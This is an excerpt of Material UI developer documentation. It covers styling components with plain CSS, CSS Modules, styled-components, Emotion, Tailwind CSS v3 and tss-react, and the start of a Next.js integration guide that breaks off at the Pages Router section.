    "content": "# Style library interoperability\n\n<p class=\"description\">While you can use the Emotion-based styling solution provided by Material UI, you can also use the one you already know, from plain CSS to styled-components.</p>\n\nThis guide aims to document the most popular alternatives,\nbut you should find that the principles applied here can be adapted to other libraries.\nThere are examples for the following styling solutions:\n\n- [Plain CSS](#plain-css)\n- [Global CSS](#global-css)\n- [Styled Components](#styled-components)\n- [CSS Modules](#css-modules)\n- [Emotion](#emotion)\n- [Tailwind CSS v3](#tailwind-css-v3)\n- [~~JSS~~ TSS](#jss-tss)\n\n## Plain CSS\n\nNothing fancy, just plain CSS.\n\n{{\"demo\": \"StyledComponents.js\", \"hideToolbar\": true}}\n\n[![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/plain-css-fdue7)\n\n```css title=\"PlainCssSlider.css\"\n.slider {\n  color: #20b2aa;\n}\n\n.slider:hover {\n  color: #2e8b57;\n}\n```\n\n```jsx title=\"PlainCssSlider.css\"\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\nimport './PlainCssSlider.css';\n\nexport default function PlainCssSlider() {\n  return (\n    <div>\n      <Slider defaultValue={30} />\n      <Slider defaultValue={30} className=\"slider\" />\n    </div>\n  );\n}\n```\n\n### CSS injection order ⚠️\n\n**Note:** Most CSS-in-JS solutions inject their styles at the bottom of the HTML `<head>`, which gives Material UI precedence over your custom styles. To remove the need for **!important**, you need to change the CSS injection order. Here's a demo of how it can be done in Material UI:\n\n```jsx\nimport * as React from 'react';\nimport { StyledEngineProvider } from '@mui/material/styles';\n\nexport default function GlobalCssPriority() {\n  return (\n    <StyledEngineProvider injectFirst>\n      {/* Your component tree. Now you can override Material UI's styles. */}\n    </StyledEngineProvider>\n  );\n}\n```\n\n**Note:** If you are using Emotion and have a custom cache in your app, that one will override the one coming from Material UI. In order for the injection order to still be correct, you need to add the prepend option. Here is an example:\n\n```jsx\nimport * as React from 'react';\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\n\nconst cache = createCache({\n  key: 'css',\n  prepend: true,\n});\n\nexport default function PlainCssPriority() {\n  return (\n    <CacheProvider value={cache}>\n      {/* Your component tree. Now you can override Material UI's styles. */}\n    </CacheProvider>\n  );\n}\n```\n\n**Note:** If you are using styled-components and have `StyleSheetManager` with a custom `target`, make sure that the target is the first element in the HTML `<head>`. If you are curious to see how it can be done, you can take a look on the [`StyledEngineProvider`](https://github.com/mui/material-ui/blob/-/packages/mui-styled-engine-sc/src/StyledEngineProvider/StyledEngineProvider.js) implementation in the `@mui/styled-engine-sc` package.\n\n### Deeper elements\n\nIf you attempt to style the Slider,\nyou will likely need to affect some of the Slider's child elements, for example the thumb.\nIn Material UI, all child elements have an increased specificity of 2: `.parent .child {}`. When writing overrides, you need to do the same.\n\nThe following examples override the slider's `thumb` style in addition to the custom styles on the slider itself.\n\n{{\"demo\": \"StyledComponentsDeep.js\", \"hideToolbar\": true}}\n\n```css title=\"PlainCssSliderDeep1.css\"\n.slider {\n  color: #20b2aa;\n}\n\n.slider:hover {\n  color: #2e8b57;\n}\n\n.slider .MuiSlider-thumb {\n  border-radius: 1px;\n}\n```\n\n```jsx title=\"PlainCssSliderDeep1.js\"\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\nimport './PlainCssSliderDeep1.css';\n\nexport default function PlainCssSliderDeep1() {\n  return (\n    <div>\n      <Slider defaultValue={30} />\n      <Slider defaultValue={30} className=\"slider\" />\n    </div>\n  );\n}\n```\n\nThe above demo relies on the [default `className` values](https://v6.mui.com/system/styles/advanced/), but you can provide your own class name with the `slotProps` API.\n\n```css title=\"PlainCssSliderDeep2.css\"\n.slider {\n  color: #20b2aa;\n}\n\n.slider:hover {\n  color: #2e8b57;\n}\n\n.slider .thumb {\n  border-radius: 1px;\n}\n```\n\n```jsx title=\"PlainCssSliderDeep2.js\"\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\nimport './PlainCssSliderDeep2.css';\n\nexport default function PlainCssSliderDeep2() {\n  return (\n    <div>\n      <Slider defaultValue={30} />\n      <Slider\n        defaultValue={30}\n        className=\"slider\"\n        slotProps={{ thumb: { className: 'thumb' } }}\n      />\n    </div>\n  );\n}\n```\n\n## Global CSS\n\nExplicitly providing the class names to the component is too much effort?\n[You can target the class names generated by Material UI](https://v6.mui.com/system/styles/advanced/).\n\n[![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/global-classnames-dho8k)\n\n```css title=\"GlobalCssSlider.css\"\n.MuiSlider-root {\n  color: #20b2aa;\n}\n\n.MuiSlider-root:hover {\n  color: #2e8b57;\n}\n```\n\n```jsx title=\"GlobalCssSlider.js\"\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\nimport './GlobalCssSlider.css';\n\nexport default function GlobalCssSlider() {\n  return <Slider defaultValue={30} />;\n}\n```\n\n### CSS injection order ⚠️\n\n**Note:** Most CSS-in-JS solutions inject their styles at the bottom of the HTML `<head>`, which gives Material UI precedence over your custom styles. To remove the need for **!important**, you need to change the CSS injection order. Here's a demo of how it can be done in Material UI:\n\n```jsx\nimport * as React from 'react';\nimport { StyledEngineProvider } from '@mui/material/styles';\n\nexport default function GlobalCssPriority() {\n  return (\n    <StyledEngineProvider injectFirst>\n      {/* Your component tree. Now you can override Material UI's styles. */}\n    </StyledEngineProvider>\n  );\n}\n```\n\n**Note:** If you are using Emotion and have a custom cache in your app, that one will override the one coming from Material UI. In order for the injection order to still be correct, you need to add the prepend option. Here is an example:\n\n```jsx\nimport * as React from 'react';\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\n\nconst cache = createCache({\n  key: 'css',\n  prepend: true,\n});\n\nexport default function GlobalCssPriority() {\n  return (\n    <CacheProvider value={cache}>\n      {/* Your component tree. Now you can override Material UI's styles. */}\n    </CacheProvider>\n  );\n}\n```\n\n**Note:** If you are using styled-components and have `StyleSheetManager` with a custom `target`, make sure that the target is the first element in the HTML `<head>`. If you are curious to see how it can be done, you can take a look on the [`StyledEngineProvider`](https://github.com/mui/material-ui/blob/-/packages/mui-styled-engine-sc/src/StyledEngineProvider/StyledEngineProvider.js) implementation in the `@mui/styled-engine-sc` package.\n\n### Deeper elements\n\nIf you attempt to style the Slider,\nyou will likely need to affect some of the Slider's child elements, for example the thumb.\nIn Material UI, all child elements have an increased specificity of 2: `.parent .child {}`. When writing overrides, you need to do the same.\n\nThe following example overrides the slider's `thumb` style in addition to the custom styles on the slider itself.\n\n{{\"demo\": \"StyledComponentsDeep.js\", \"hideToolbar\": true}}\n\n```css title=\"GlobalCssSliderDeep.css\"\n.MuiSlider-root {\n  color: #20b2aa;\n}\n\n.MuiSlider-root:hover {\n  color: #2e8b57;\n}\n\n.MuiSlider-root .MuiSlider-thumb {\n  border-radius: 1px;\n}\n```\n\n```jsx title=\"GlobalCssSliderDeep.js\"\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\nimport './GlobalCssSliderDeep.css';\n\nexport default function GlobalCssSliderDeep() {\n  return <Slider defaultValue={30} />;\n}\n```\n\n## Styled Components\n\n![stars](https://img.shields.io/github/stars/styled-components/styled-components.svg?style=social&label=Star)\n![npm](https://img.shields.io/npm/dm/styled-components.svg)\n\n### Change the default styled engine\n\nBy default, Material UI components come with Emotion as their style engine.\nIf, however, you would like to use styled-components, you can configure your app by following the [styled-components guide](/material-ui/integrations/styled-components/).\n\nFollowing this approach reduces the bundle size, and removes the need to configure the CSS injection order.\n\nAfter the style engine is configured properly, you can use the [`styled()`](/system/styled/) utility\nfrom `@mui/material/styles` and have direct access to the theme.\n\n{{\"demo\": \"StyledComponents.js\", \"hideToolbar\": true}}\n\n[![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/styled-components-interoperability-w9z9d)\n\n```jsx\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\nimport { styled } from '@mui/material/styles';\n\nconst CustomizedSlider = styled(Slider)`\n  color: #20b2aa;\n\n  :hover {\n    color: #2e8b57;\n  }\n`;\n\nexport default function StyledComponents() {\n  return <CustomizedSlider defaultValue={30} />;\n}\n```\n\n### Deeper elements\n\nIf you attempt to style the Slider,\nyou will likely need to affect some of the Slider's child elements, for example the thumb.\nIn Material UI, all child elements have an increased specificity of 2: `.parent .child {}`. When writing overrides, you need to do the same.\n\nThe following examples override the slider's `thumb` style in addition to the custom styles on the slider itself.\n\n{{\"demo\": \"StyledComponentsDeep.js\", \"defaultCodeOpen\": true}}\n\nThe above demo relies on the [default `className` values](https://v6.mui.com/system/styles/advanced/), but you can provide your own class name with the `slotProps` API.\n\n```jsx\nimport * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Slider from '@mui/material/Slider';\n\nconst CustomizedSlider = styled((props) => (\n  <Slider slotProps={{ thumb: { className: 'thumb' } }} {...props} />\n))`\n  color: #20b2aa;\n\n  :hover {\n    color: #2e8b57;\n  }\n\n  & .thumb {\n    border-radius: 1px;\n  }\n`;\n\nexport default function StyledComponentsDeep2() {\n  return (\n    <div>\n      <Slider defaultValue={30} />\n      <CustomizedSlider defaultValue={30} />\n    </div>\n  );\n}\n```\n\n### Theme\n\nBy using the Material UI theme provider, the theme will be available in the theme context\nof the styled engine too (Emotion or styled-components, depending on your configuration).\n\n:::warning\nIf you are already using a custom theme with styled-components or Emotion,\nit might not be compatible with Material UI's theme specification. If it's not\ncompatible, you need to render Material UI's ThemeProvider first. This will\nensure the theme structures are isolated. This is ideal for the progressive adoption\nof Material UI's components in the codebase.\n:::\n\nYou are encouraged to share the same theme object between Material UI and the rest of your project.\n\n```jsx\nconst CustomizedSlider = styled(Slider)(\n  ({ theme }) => `\n  color: ${theme.palette.primary.main};\n\n  :hover {\n    color: ${darken(theme.palette.primary.main, 0.2)};\n  }\n`,\n);\n```\n\n{{\"demo\": \"StyledComponentsTheme.js\"}}\n\n### Portals\n\nThe [Portal](/material-ui/react-portal/) component provides a first-class way to render children into a DOM node that exists outside the DOM hierarchy of the parent component.\nBecause of the way styled-components scopes its CSS, you may run into issues where styling is not applied.\n\nFor example, if you attempt to style the `tooltip` generated by the [Tooltip](/material-ui/react-tooltip/) component,\nyou will need to pass along the `className` property to the element being rendered outside of it's DOM hierarchy.\nThe following example shows a workaround:\n\n```jsx\nimport * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nconst StyledTooltip = styled(({ className, ...props }) => (\n  <Tooltip {...props} classes={{ popper: className }} />\n))`\n  & .MuiTooltip-tooltip {\n    background: navy;\n  }\n`;\n```\n\n{{\"demo\": \"StyledComponentsPortal.js\"}}\n\n## CSS Modules\n\n![stars](https://img.shields.io/github/stars/css-modules/css-modules.svg?style=social&label=Star)\n\nIt's hard to know the market share of [this styling solution](https://github.com/css-modules/css-modules) as it's dependent on the bundling solution people are using.\n\n{{\"demo\": \"StyledComponents.js\", \"hideToolbar\": true}}\n\n[![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/css-modules-nuyg8)\n\n```css title=\"CssModulesSlider.module.css\"\n.slider {\n  color: #20b2aa;\n}\n\n.slider:hover {\n  color: #2e8b57;\n}\n```\n\n```jsx title=\"CssModulesSlider.js\"\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\n// webpack, Parcel or else will inject the CSS into the page\nimport styles from './CssModulesSlider.module.css';\n\nexport default function CssModulesSlider() {\n  return (\n    <div>\n      <Slider defaultValue={30} />\n      <Slider defaultValue={30} className={styles.slider} />\n    </div>\n  );\n}\n```\n\n### CSS injection order ⚠️\n\n**Note:** Most CSS-in-JS solutions inject their styles at the bottom of the HTML `<head>`, which gives Material UI precedence over your custom styles. To remove the need for **!important**, you need to change the CSS injection order. Here's a demo of how it can be done in Material UI:\n\n```jsx\nimport * as React from 'react';\nimport { StyledEngineProvider } from '@mui/material/styles';\n\nexport default function GlobalCssPriority() {\n  return (\n    <StyledEngineProvider injectFirst>\n      {/* Your component tree. Now you can override Material UI's styles. */}\n    </StyledEngineProvider>\n  );\n}\n```\n\n**Note:** If you are using Emotion and have a custom cache in your app, that one will override the one coming from Material UI. To ensure the correct injection order, use the `prepend` option:\n\n```jsx\nimport * as React from 'react';\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\n\nconst cache = createCache({\n  key: 'css',\n  prepend: true,\n});\n\nexport default function CssModulesPriority() {\n  return (\n    <CacheProvider value={cache}>\n      {/* Your component tree. Now you can override Material UI's styles. */}\n    </CacheProvider>\n  );\n}\n```\n\n**Note:** If you are using styled-components with `StyleSheetManager` and a custom `target`, ensure that the target is the first element in the HTML `<head>`. See the [`StyledEngineProvider`](https://github.com/mui/material-ui/blob/-/packages/mui-styled-engine-sc/src/StyledEngineProvider/StyledEngineProvider.js) implementation in the `@mui/styled-engine-sc` package for an example.\n\n### Deeper elements\n\nWhen styling a Slider, you may need to target child elements like the thumb. Material UI components often use increased specificity for child elements (for example, `.parent .child`). CSS Modules scopes class names, so the generated class names will not match Material UI's.\n\nTo apply styles to Material UI classes from CSS Modules, use the `:global` selector.\n\n#### Using `:global`\n\n```css title=\"CssModulesSliderDeep1.module.css\"\n.slider {\n  color: #20b2aa;\n}\n\n.slider:hover {\n  color: #2e8b57;\n}\n\n.slider :global(.MuiSlider-thumb) {\n  border-radius: 1px;\n}\n```\n\n```jsx title=\"CssModulesSliderDeep1.js\"\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\n// webpack, Parcel or else will inject the CSS into the page\nimport styles from './CssModulesSliderDeep1.module.css';\n\nexport default function CssModulesSliderDeep1() {\n  return (\n    <div>\n      <Slider defaultValue={30} />\n      <Slider defaultValue={30} className={styles.slider} />\n    </div>\n  );\n}\n```\n\n#### Using `slotProps`\n\n```css title=\"CssModulesSliderDeep2.module.css\"\n.slider {\n  color: #20b2aa;\n}\n\n.slider:hover {\n  color: #2e8b57;\n}\n\n.slider .thumb {\n  border-radius: 1px;\n}\n```\n\n```jsx title=\"CssModulesSliderDeep2.js\"\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\n// webpack, Parcel or else will inject the CSS into the page\nimport styles from './CssModulesSliderDeep2.module.css';\n\nexport default function CssModulesSliderDeep2() {\n  return (\n    <div>\n      <Slider defaultValue={30} />\n      <Slider\n        defaultValue={30}\n        className={styles.slider}\n        slotProps={{ thumb: { className: styles.thumb } }}\n      />\n    </div>\n  );\n}\n```\n\n### Targeting Material UI state classes with CSS Modules\n\nMaterial UI uses global class names to indicate component states (for example, `.Mui-selected`, `.Mui-disabled`). Since CSS Modules scope styles locally, targeting these global state classes requires `:global`.\n\nHere's how to apply styles conditionally, based on Material UI state classes:\n\n```css title=\"MyList.module.css\"\n.myListItem {\n  padding: 10px;\n  border-bottom: 1px solid #ccc;\n}\n\n/* Combine global state class with a locally scoped class */\n:global(.Mui-selected).myListItem {\n  background-color: #1976d2;\n  color: white;\n}\n```\n\n```jsx title=\"CssModulesSliderCustomPseudoClasses.js\"\nimport * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport styles from './MyList.module.css';\n\nexport default function MyList() {\n  return (\n    <List>\n      <ListItem className={styles.myListItem} selected>\n        <ListItemText primary=\"Selected item\" />\n      </ListItem>\n      <ListItem className={styles.myListItem}>\n        <ListItemText primary=\"Regular item\" />\n      </ListItem>\n    </List>\n  );\n}\n```\n\nThis technique allows you to maintain modular styles while responding to dynamic states set by Material UI's global class names.\n\n## Emotion\n\n![stars](https://img.shields.io/github/stars/emotion-js/emotion.svg?style=social&label=Star)\n![npm](https://img.shields.io/npm/dm/@emotion/react.svg)\n\n### The `css` prop\n\nEmotion's `css()` method works seamlessly with Material UI.\n\n{{\"demo\": \"EmotionCSS.js\", \"defaultCodeOpen\": true}}\n\n### Theme\n\nIt works exactly like styled components. You can [use the same guide](/material-ui/integrations/interoperability/#styled-components).\n\n### The `styled()` API\n\nIt works exactly like styled components. You can [use the same guide](/material-ui/integrations/interoperability/#styled-components).\n\n## Tailwind CSS v3\n\n![stars](https://img.shields.io/github/stars/tailwindlabs/tailwindcss.svg?style=social&label=Star)\n![npm](https://img.shields.io/npm/dm/tailwindcss)\n\n:::info\nFor Tailwind CSS v4, please refer to the [v4 integration guide](/material-ui/integrations/tailwindcss/tailwindcss-v4/).\n:::\n\n### Setup\n\n<!-- #target-branch-reference -->\n\nTo use Tailwind CSS with Material UI components, you can start by cloning the [example project](https://github.com/mui/material-ui/tree/master/examples/material-ui-vite-tailwind-ts) built with Vite and TypeScript.\nIf you use a different framework, or already have set up your project, follow these steps:\n\n1. Add Tailwind CSS to your project, following the instructions in https://v3.tailwindcss.com/docs/installation/framework-guides.\n2. Remove [Tailwind CSS's preflight](https://v3.tailwindcss.com/docs/preflight) style so it can use the Material UI's preflight instead ([CssBaseline](/material-ui/react-css-baseline/)).\n\n```diff title=\"tailwind.config.js\"\n module.exports = {\n+  corePlugins: {\n+    preflight: false,\n+  },\n };\n```\n\n3. Add the `important` option, using the id of your app wrapper.\n   - For Next.js projects, use `#__next`. **Note for Next.js 13+ Users (App Router)**: You must now manually add `id=\"__next\"` to your root element (typically `<body>`), as Next.js no longer adds it automatically:\n\n   ```tsx\n   <body id=\"__next\">{/* Your app content */}</body>\n   ```\n\n   - For Vite/SPA projects, use `#root` (default in most templates)\n\n```diff title=\"tailwind.config.js\"\n module.exports = {\n   content: [\n     \"./src/**/*.{js,jsx,ts,tsx}\",\n   ],\n+  important: '#__next', // or '#root'\n   theme: {\n     extend: {},\n   },\n   plugins: [],\n }\n\n```\n\nMost of the CSS used by Material UI has a specificity of 1, hence this `important` property is unnecessary.\nHowever, in a few edge cases, Material UI uses nested CSS selectors that win over Tailwind CSS.\nUse this step to help ensure that the [deeper elements](#deeper-elements-5) can always be customized using Tailwind's utility classes.\nMore details on this option can be found here https://v3.tailwindcss.com/docs/configuration#selector-strategy.\n\n4. Fix the CSS injection order. Most CSS-in-JS solutions inject their styles at the bottom of the HTML `<head>`, which gives Material UI precedence over Tailwind CSS. To reduce the need for the `important` property, you need to change the CSS injection order. Here's a demo of how it can be done in Material UI:\n\n```jsx\nimport * as React from 'react';\nimport { StyledEngineProvider } from '@mui/material/styles';\n\nexport default function GlobalCssPriority() {\n  return (\n    <StyledEngineProvider injectFirst>\n      {/* Your component tree. Now you can override Material UI's styles. */}\n    </StyledEngineProvider>\n  );\n}\n```\n\n**Note:** If you are using Emotion and have a custom cache in your app, it will override the one coming from Material UI. In order for the injection order to still be correct, you need to add the prepend option. Here is an example:\n\n```jsx\nimport * as React from 'react';\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\n\nconst cache = createCache({\n  key: 'css',\n  prepend: true,\n});\n\nexport default function PlainCssPriority() {\n  return (\n    <CacheProvider value={cache}>\n      {/* Your component tree. Now you can override Material UI's styles. */}\n    </CacheProvider>\n  );\n}\n```\n\n**Note:** If you are using styled-components and have `StyleSheetManager` with a custom `target`, make sure that the target is the first element in the HTML `<head>`. If you are curious to see how it can be done, you can take a look at the [`StyledEngineProvider`](https://github.com/mui/material-ui/blob/-/packages/mui-styled-engine-sc/src/StyledEngineProvider/StyledEngineProvider.js) implementation in the `@mui/styled-engine-sc` package.\n\n5. Change the target container for `Portal`-related elements so that they are injected under the main app wrapper that was used in step 3 for setting up the `important` option in the Tailwind config.\n\n```jsx\n// For Next.js:\nconst rootElement = document.getElementById(\"__next\");\n// For Vite/SPA:\n// const rootElement = document.getElementById(\"root\");\nconst root = createRoot(rootElement);\n\nconst theme = createTheme({\n  components: {\n    MuiPopover: {\n      defaultProps: {\n        container: rootElement,\n      },\n    },\n    MuiPopper: {\n      defaultProps: {\n        container: rootElement,\n      },\n    },\n    MuiDialog: {\n      defaultProps: {\n        container: rootElement,\n      },\n    },\n    MuiModal: {\n      defaultProps: {\n        container: rootElement,\n      },\n    },\n  },\n});\n\nroot.render(\n  <StyledEngineProvider injectFirst>\n    <ThemeProvider theme={theme}>\n      <App />\n    </ThemeProvider>\n  </StyledEngineProvider>;\n);\n```\n\n### Troubleshooting\n\nIf styles aren't applying correctly:\n\n1. Verify your root ID matches the `important` selector in Tailwind config\n\n| Framework | Root Element ID | `important` Selector |\n| :-------: | :-------------: | :------------------: |\n|  Next.js  |  `id=\"__next\"`  |      `#__next`       |\n| Vite/SPA  |   `id=\"root\"`   |       `#root`        |\n\n2. Check that `preflight: false` is set\n3. Ensure `StyledEngineProvider` with `injectFirst` is properly configured\n\n### Usage\n\nNow it's all set up and you can start using Tailwind CSS on the Material UI components!\n\n{{\"demo\": \"StyledComponents.js\", \"hideToolbar\": true}}\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/edit/github-ndkshy?file=pages%2Findex.tsx)\n\n```jsx title=\"index.tsx\"\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\n\nexport default function App() {\n  return (\n    <div>\n      <Slider defaultValue={30} />\n      <Slider defaultValue={30} className=\"text-teal-600\" />\n    </div>\n  );\n}\n```\n\n### Deeper elements\n\nIf you attempt to style the Slider, for example, you'll likely want to customize its child elements.\n\nThis example showcases how to override the Slider's `thumb` style.\n\n{{\"demo\": \"StyledComponentsDeep.js\", \"hideToolbar\": true}}\n\n```jsx title=\"SliderThumbOverrides.tsx\"\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\n\nexport default function SliderThumbOverrides() {\n  return (\n    <div>\n      <Slider defaultValue={30} />\n      <Slider\n        defaultValue={30}\n        className=\"text-teal-600\"\n        slotProps={{ thumb: { className: 'rounded-sm' } }}\n      />\n    </div>\n  );\n}\n```\n\n### Styling pseudo states\n\nIf you want to style a component's pseudo-state, you can use the appropriate key in the `classes` prop.\nHere is an example of how you can style the Slider's active state:\n\n```jsx title=\"SliderPseudoStateOverrides.tsx\"\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\n\nexport default function SliderThumbOverrides() {\n  return <Slider defaultValue={30} classes={{ active: 'shadow-none' }} />;\n}\n```\n\n## ~~JSS~~ TSS\n\n[JSS](https://cssinjs.org/) itself is no longer supported in Material UI, however,\nif you like the hook-based API (`makeStyles` → `useStyles`) that [`react-jss`](https://codesandbox.io/p/sandbox/j3l06yyqpw) was offering you can opt for [`tss-react`](https://github.com/garronej/tss-react).\n\n[TSS](https://docs.tss-react.dev) integrates well with Material UI and provide a better\nTypeScript support than JSS.\n\n:::info\nIf you are updating from `@material-ui/core` (v4) to `@mui/material` (v5), check out the [tss-react section](/material-ui/migration/migrating-from-jss/#2-use-tss-react) of the Migration guide.\n:::\n\n```tsx\nimport { render } from 'react-dom';\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\nimport { ThemeProvider } from '@mui/material/styles';\n\nexport const muiCache = createCache({\n  key: 'mui',\n  prepend: true,\n});\n\n//NOTE: Don't use <StyledEngineProvider injectFirst/>\nrender(\n  <CacheProvider value={muiCache}>\n    <ThemeProvider theme={myTheme}>\n      <Root />\n    </ThemeProvider>\n  </CacheProvider>,\n  document.getElementById('root'),\n);\n```\n\nNow you can simply\n`import { makeStyles, withStyles } from 'tss-react/mui'`.\nThe theme object that will be passed to your callbacks functions will be the one you\nget with\n`import { useTheme } from '@mui/material/styles'`.\n\nIf you want to take controls over what the `theme` object should be,\nyou can re-export `makeStyles` and `withStyles` from a file called, for example, `makesStyles.ts`:\n\n```ts\nimport { useTheme } from '@mui/material/styles';\n//WARNING: tss-react require TypeScript v4.4 or newer. If you can't update use:\n//import { createMakeAndWithStyles } from \"tss-react/compat\";\nimport { createMakeAndWithStyles } from 'tss-react';\n\nexport const { makeStyles, withStyles } = createMakeAndWithStyles({\n  useTheme,\n  /*\n    OR, if you have extended the default mui theme adding your own custom properties:\n    Let's assume the myTheme object that you provide to the <ThemeProvider /> is of\n    type MyTheme then you'll write:\n    */\n  //\"useTheme\": useTheme as (()=> MyTheme)\n});\n```\n\nThen, the library is used like this:\n\n```tsx\nimport { makeStyles } from 'tss-react/mui';\n\nexport function MyComponent(props: Props) {\n  const { className } = props;\n\n  const [color, setColor] = useState<'red' | 'blue'>('red');\n\n  const { classes, cx } = useStyles({ color });\n\n  //Thanks to cx, className will take priority over classes.root\n  return <span className={cx(classes.root, className)}>hello world</span>;\n}\n\nconst useStyles = makeStyles<{ color: 'red' | 'blue' }>()((theme, { color }) => ({\n  root: {\n    color,\n    '&:hover': {\n      backgroundColor: theme.palette.primary.main,\n    },\n  },\n}));\n```\n\nFor info on how to setup SSR or anything else, please refer to [the TSS documentation](https://github.com/garronej/tss-react).\n\n:::info\nThere is [an ESLint plugin](https://docs.tss-react.dev/detecting-unused-classes) for detecting unused classes.\n:::\n\n:::warning\n**Keep `@emotion/styled` as a dependency of your project**. Even if you never use it explicitly,\nit's a peer dependency of `@mui/material`.\n:::\n"
  },
  {
    "path": "docs/data/material/integrations/nextjs/nextjs.md",
    "content": "# Next.js integration\n\n<p class=\"description\">Learn how to use Material UI with Next.js.</p>\n\n## App Router\n\nThis section walks through the Material UI integration with the Next.js [App Router](https://nextjs.org/docs/app), an evolution of the [Pages Router](#pages-router), and, currently, the recommended way of building new Next.js applications starting from version 13.\n\n### Installing the dependencies\n\nStart by ensuring that you already have `@mui/material` and `next` installed.\nThen, run one of the following commands to install the dependencies:\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/material-nextjs @emotion/cache\n```\n\n```bash pnpm\npnpm add @mui/material-nextjs @emotion/cache\n```\n\n```bash yarn\nyarn add @mui/material-nextjs @emotion/cache\n```\n\n</codeblock>\n\n### Configuration\n\nInside `app/layout.tsx`, import the `AppRouterCacheProvider` and wrap all elements under the `<body>` with it:\n\n```diff title=\"app/layout.tsx\"\n+import { AppRouterCacheProvider } from '@mui/material-nextjs/v15-appRouter';\n // or `v1X-appRouter` if you are using Next.js v1X\n\n export default function RootLayout(props) {\n   return (\n     <html lang=\"en\">\n       <body>\n+        <AppRouterCacheProvider>\n           {props.children}\n+        </AppRouterCacheProvider>\n       </body>\n     </html>\n   );\n }\n```\n\n:::info\nThe `AppRouterCacheProvider` component is responsible for collecting the CSS generated by MUI System on the server, as Next.js is streaming chunks of the .html page to the client.\n\nWhile it's not required to use the `AppRouterCacheProvider` component, it's recommended to use it to ensure that the styles are appended to the `<head>` and not rendering in the `<body>`.\nSee https://github.com/mui/material-ui/issues/26561#issuecomment-855286153 for why it's better.\n:::\n\n#### Custom cache (optional)\n\nUse the `options` prop to override the default [cache options](https://emotion.sh/docs/@emotion/cache#options)—for example, the code snippet below shows how to change the CSS key to `css` (the default is `mui`):\n\n```diff\n  <AppRouterCacheProvider\n+   options={{ key: 'css' }}\n  >\n    {children}\n  </AppRouterCacheProvider>\n```\n\n### Font optimization\n\nTo integrate [Next.js font optimization](https://nextjs.org/docs/app/getting-started/fonts) with Material UI, create a new file with the `'use client';` directive.\nThen create a theme using `var(--font-roboto)` as a value for the `typography.fontFamily` field.\n\n```js title=\"src/theme.ts\"\n'use client';\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  typography: {\n    fontFamily: 'var(--font-roboto)',\n  },\n});\n\nexport default theme;\n```\n\nFinally, in `src/app/layout.tsx`, pass the theme to the `ThemeProvider`:\n\n```diff title=\"app/layout.tsx\"\n import { AppRouterCacheProvider } from '@mui/material-nextjs/v15-appRouter';\n+import { Roboto } from 'next/font/google';\n+import { ThemeProvider } from '@mui/material/styles';\n+import theme from '../theme';\n\n+const roboto = Roboto({\n+  weight: ['300', '400', '500', '700'],\n+  subsets: ['latin'],\n+  display: 'swap',\n+  variable: '--font-roboto',\n+});\n\n export default function RootLayout(props) {\n   const { children } = props;\n   return (\n+    <html lang=\"en\" className={roboto.variable}>\n       <body>\n          <AppRouterCacheProvider>\n+           <ThemeProvider theme={theme}>\n              {children}\n+           </ThemeProvider>\n          </AppRouterCacheProvider>\n       </body>\n     </html>\n   );\n }\n```\n\nTo learn more about theming, check out the [theming guide](/material-ui/customization/theming/) page.\n\n### CSS theme variables\n\nTo use [CSS theme variables](/material-ui/customization/css-theme-variables/overview/), enable the `cssVariables` flag:\n\n```diff title=\"src/theme.ts\"\n 'use client';\n const theme = createTheme({\n+  cssVariables: true,\n });\n```\n\nLearn more about [the advantages of CSS theme variables](/material-ui/customization/css-theme-variables/overview/#advantages) and how to [prevent SSR flickering](/material-ui/customization/css-theme-variables/configuration/#preventing-ssr-flickering).\n\n### Using other styling solutions\n\nIf you are using a styling solution other than Emotion to customize Material UI components, set `enableCssLayer: true` in the `options` prop:\n\n```js\n<AppRouterCacheProvider options={{ enableCssLayer: true }}>\n```\n\nThis option ensures that the styles generated by Material UI will be wrapped in a CSS `@layer mui` rule, which is overridden by anonymous layer styles when using Material UI with CSS Modules, Tailwind CSS, or even plain CSS without using `@layer`.\n\nTo learn more about it, see [the MDN CSS layer documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@layer).\n\n### Next.js v16 Client Component restriction\n\nIf you encounter `Functions cannot be passed directly to Client Components` error from passing Next.js Link to Material UI `component` prop, you need to create a wrapper component with `use client` directive like the following:\n\n```tsx title=\"src/components/Link.tsx\"\n'use client';\nimport Link, { LinkProps } from 'next/link';\n\nexport default Link;\n```\n\nThen, replace the Next.js Link with the wrapper component:\n\n```diff title=\"src/app/page.tsx\"\n- import Link from 'next/link';\n+ import Link from '../components/Link';\n  ...\n  <Button component={Link} href=\"/about\" variant=\"contained\">\n    Go to About Page\n  </Button>\n```\n\n## Pages Router\n\nThis section walks through the Material UI integration with the 